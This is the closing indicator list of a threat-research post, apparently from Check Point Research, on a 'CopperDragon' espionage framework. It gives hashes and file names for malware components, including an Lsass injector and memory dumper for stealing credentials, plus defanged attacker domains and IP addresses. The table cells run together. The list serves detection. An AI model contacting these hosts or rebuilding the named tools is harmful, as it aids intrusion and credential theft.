Helperasinteg.dllcb714decdcabe30008546e6fb71bb28e390c9bd186bf2549aaa8fe5b999200a5CopperDoorIn memoryde6a3140797f7c00a48b2068127965c3994f92867466259e69c861880e6ec2d8CopperDoorIn memoryd08e09a17df22fb39838dcc9e99756830ef5175bc9e03d615adf979dc85ed052CopperDnsIn memory417664cc34360d8519adc7a019408cf8f37f59c95a44e50092d73e38b7889a21CopperLsass – RPC Lsass injectorIn memoryfd0861a8269f2bb2fe0adfb4b4610d9675e68474503598f83e87c29b88906f99CopperLsass – Lsass MiniDumpslave.dll916a16a4a1eb7393b17574835312725e5cb146995a3cbcdf42fa8b9bebaa51b1CopperLsass – Helperdep.dll675a44c679dea8d40b3885c37168929f976e3a0ecacc7e02c6b07936ac58a9fcCopperProxyIn memory3a1b7ec461d656524e612b228ce969bfa612c799fb7117bb066352ff776d88daPyProxysqlmap.exeee8c148518c5a416fc7d9b33246e9c98d955f2379aa9c82225e045322c97a043SoftEthervmtoolsd.exe4f9d9a6cba88832fcb7cfb845472b63ff15cb9b417f4f02cb8086552c19ceffc

DarkWire Campaign Infrastructure

seosnskorea[.]comamelicen[.]comjamvybez[.]comartfingo[.]comfaceorkut[.]comaauctioneer[.]com38.54.57[.]1238.54.45[.]15538.60.206[.]8538.60.209[.]6538.60.242[.]18238.60.241[.]6538.60.214[.]237149.104.87[.]222156.244.2[.]26149.104.12[.]128149.104.12[.]128181.41.201[.]24438.60.241[.]193149.104.87[.]22877.111.101[.]15377.111.101[.]22777.111.101[.]11216.238.110[.]120216.238.71[.]215216.238.73[.]14216.238.111[.]30216.238.119[.]130216.238.90[.]160216.238.85[.]243216.238.107[.]140216.238.115[.]15264.176.10[.]764.176.6[.]2745.76.215[.]17185.93.173[.]30188.214.157[.]51108.61.161[.]250167.179.109[.]141216.238.106[.]177216.238.113[.]122216.238.121[.]254216.238.120[.]8
The post Not All That Glitters Is Gold: Tracking CopperDragon’s Sparrow Framework Around the Globe appeared first on Check Point Research.
[messages.read_original_source] →